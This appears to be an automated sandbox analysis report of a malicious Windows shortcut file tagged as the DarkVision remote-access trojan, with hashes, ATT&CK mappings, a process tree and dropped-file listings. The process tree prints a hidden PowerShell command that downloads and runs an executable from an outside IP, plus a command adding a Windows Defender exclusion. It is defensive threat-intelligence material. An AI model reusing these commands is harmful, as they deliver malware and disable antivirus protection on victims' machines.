darkvision | b11bfaa78d9b614cf39cc02d64fe8c115085ce39c9b747913705a6520e8a7e7d

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
27-12-2024 13:58

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General

Target

LPO-0048532025.lnk
Size

2KB
MD5

4dab3e7b78ccfc190b36eb728b6e74d0
SHA1

296f5169adbc438e4ec1610d46c0f451417b7b71
SHA256

b11bfaa78d9b614cf39cc02d64fe8c115085ce39c9b747913705a6520e8a7e7d
SHA512

227e416b6f1f3e465d02da79c9683348d7e26c016fc7c9aa37b9e11189ecb351f0f9d992548182af6831b56e81f2301bd6169ba539aa203457b0823d27a11ee0

Score

10^/10

darkvision execution rat

Malware Config

Signatures

DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4504	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4504	powershell.exe
4504	powershell.exe
3764	powershell.exe
3556	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorers.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorers.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorer.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{BE5C9BF3-0A41-4A6C-B6A8-511461B7BEF1}.lnk	explorer.exe

Executes dropped EXE 2 IoCs

pid	Process
5004	file.exe
4644	explorers.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4504	powershell.exe
4504	powershell.exe
3764	powershell.exe
3764	powershell.exe
3556	powershell.exe
3556	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4644	explorers.exe
4644	explorers.exe
4644	explorers.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	3556	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 4504	2556	cmd.exe	84
PID 2556 wrote to memory of 4504	2556	cmd.exe	84
PID 4504 wrote to memory of 5004	4504	powershell.exe	92
PID 4504 wrote to memory of 5004	4504	powershell.exe	92
PID 5004 wrote to memory of 4464	5004	file.exe	93
PID 5004 wrote to memory of 4464	5004	file.exe	93
PID 5004 wrote to memory of 4644	5004	file.exe	95
PID 5004 wrote to memory of 4644	5004	file.exe	95
PID 4464 wrote to memory of 3764	4464	cmd.exe	96
PID 4464 wrote to memory of 3764	4464	cmd.exe	96
PID 4644 wrote to memory of 1564	4644	explorers.exe	99
PID 4644 wrote to memory of 1564	4644	explorers.exe	99
PID 4644 wrote to memory of 2132	4644	explorers.exe	101
PID 4644 wrote to memory of 2132	4644	explorers.exe	101
PID 1564 wrote to memory of 3556	1564	cmd.exe	102
PID 1564 wrote to memory of 3556	1564	cmd.exe	102

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\LPO-0048532025.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://87.120.113.91/image.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\explorers'
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4464
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\explorers'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3764
  - - C:\ProgramData\explorers\explorers.exe
      "C:\ProgramData\explorers\explorers.exe" {8ACDE7F8-56B2-461C-B2DA-0AAADBA16242}
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4644
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\explorers'
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1564
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\explorers'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3556
    - - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        5⤵
        Checks BIOS information in registry
        Drops startup file
        
        PID:2132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
88eaf43aaf449b93e958cdac1f3f5242

SHA1
f6f6c5da1ad3da543ee53344debf0c21c604a6ab

SHA256
cb7108dd71f6af89f8661c5867cfec031c22e2e6cb09108db77286a249af79bb

SHA512
83c5474afd2c078284270ece6d757830340375d5b07031f1ffe3a214dd44f1319905f286cd46cdb90bd9e3738930a1e1c08677768e67c52799bbbe4e9ea5edcd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ttqtjla5.ymd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file.exe

Filesize
4.1MB

MD5
a3a87410c13cc37b48a9d63d84798a26

SHA1
170685b36ce0c7ca791b80886e88f3955a707527

SHA256
bbb59f158a76d0b043c7d050bba4c4ad82b94d383f9db265119a24360d7279e4

SHA512
1e7071749d1e96674a6a802a6317e7f71350975516f0c75fe0d0f6d987ad5d6db91ff6cba43a8c03117ddaeccc2ac40e97f10f2cba20204a645e9369fb38b543

Download Submit
memory/2132-68-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-96-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-55-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-57-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-56-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-66-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-47-0x0000000000950000-0x0000000000951000-memory.dmp

Filesize
4KB

Download
memory/2132-48-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-60-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-61-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-74-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-75-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-78-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-77-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-76-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-83-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-82-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-81-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-58-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-99-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-80-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-79-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-73-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-72-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-70-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-69-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-63-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-71-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-59-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-67-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-65-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-62-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/2132-64-0x0000000002EB0000-0x00000000032D0000-memory.dmp

Filesize
4.1MB

Download
memory/4504-13-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

Filesize
10.8MB

Download
memory/4504-2-0x00007FF8ABFF3000-0x00007FF8ABFF5000-memory.dmp

Filesize
8KB

Download
memory/4504-10-0x00000173C5AA0000-0x00000173C5AC2000-memory.dmp

Filesize
136KB

Download
memory/4504-27-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

Filesize
10.8MB

Download
memory/4504-23-0x00007FF8ABFF3000-0x00007FF8ABFF5000-memory.dmp

Filesize
8KB

Download
memory/4504-14-0x00007FF8ABFF0000-0x00007FF8ACAB1000-memory.dmp

Filesize
10.8MB

Download
memory/4644-114-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-100-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-101-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-102-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-103-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-104-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-105-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-107-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-108-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-109-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-110-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-111-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-112-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-113-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/4644-34-0x00007FF72A490000-0x00007FF72A8B0000-memory.dmp

Filesize
4.1MB

Download
memory/5004-26-0x00007FF76DEF0000-0x00007FF76E310000-memory.dmp

Filesize
4.1MB

Download
memory/5004-33-0x00007FF76DEF0000-0x00007FF76E310000-memory.dmp

Filesize
4.1MB

Download